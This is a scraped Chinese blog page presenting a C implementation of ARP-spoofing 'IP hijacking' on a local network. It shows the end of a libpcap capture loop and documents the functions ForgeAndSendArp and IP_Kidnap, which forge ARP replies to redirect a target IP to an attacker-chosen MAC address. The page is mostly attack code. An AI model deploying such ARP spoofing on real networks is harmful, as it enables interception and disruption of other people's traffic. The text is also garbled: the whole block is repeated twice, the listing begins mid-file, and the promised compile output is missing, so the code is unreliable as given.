您的位置:首页 > 编程语言 > C语言/C++

基于ARP的局域网IP劫持——C语言实现

2016-08-08 22:33 501 查看
150     printf("success: device: %s\n", devStr);
151   }
152   else
153   {
154     printf("error: %s\n", errBuf);
155     exit(1);
156   }
157
158   /* open a device, wait until a packet arrives */
159   pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);
160
161   if(!device)
162   {
163     printf("error: pcap_open_live(): %s\n", errBuf);
164     exit(1);
165   }
166   /* set filter */
167   pcap_compile( device,&filter,glBpfCmd,1,0 );
168   pcap_setfilter(device ,&filter );
169   /* wait loop forever */
170   int id = 0;
171   pcap_loop(device, -1, getPacket, (u_char*)&id);
172
173   pcap_close(device);
174
175   return 0;
176 }


  编译后的结果:


  函数原型:

int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
/*
dev : pointer to nic name, "eth0" for example.
src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
dst_mac : similar as src_mac
src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
dst_ip : similar as src_ip
arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
sendTimes : how many times this packet you want to send
*/


int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr  )
/*
TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
*/


 

  附录:

    参考文章 《libpcap使用》 《ARP数据包伪造

150     printf("success: device: %s\n", devStr);
151   }
152   else
153   {
154     printf("error: %s\n", errBuf);
155     exit(1);
156   }
157
158   /* open a device, wait until a packet arrives */
159   pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);
160
161   if(!device)
162   {
163     printf("error: pcap_open_live(): %s\n", errBuf);
164     exit(1);
165   }
166   /* set filter */
167   pcap_compile( device,&filter,glBpfCmd,1,0 );
168   pcap_setfilter(device ,&filter );
169   /* wait loop forever */
170   int id = 0;
171   pcap_loop(device, -1, getPacket, (u_char*)&id);
172
173   pcap_close(device);
174
175   return 0;
176 }


  编译后的结果:


  函数原型:

int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
/*
dev : pointer to nic name, "eth0" for example.
src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
dst_mac : similar as src_mac
src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
dst_ip : similar as src_ip
arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
sendTimes : how many times this packet you want to send
*/


int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr  )
/*
TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
*/


 

  附录:

    参考文章 《libpcap使用》 《ARP数据包伪造
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: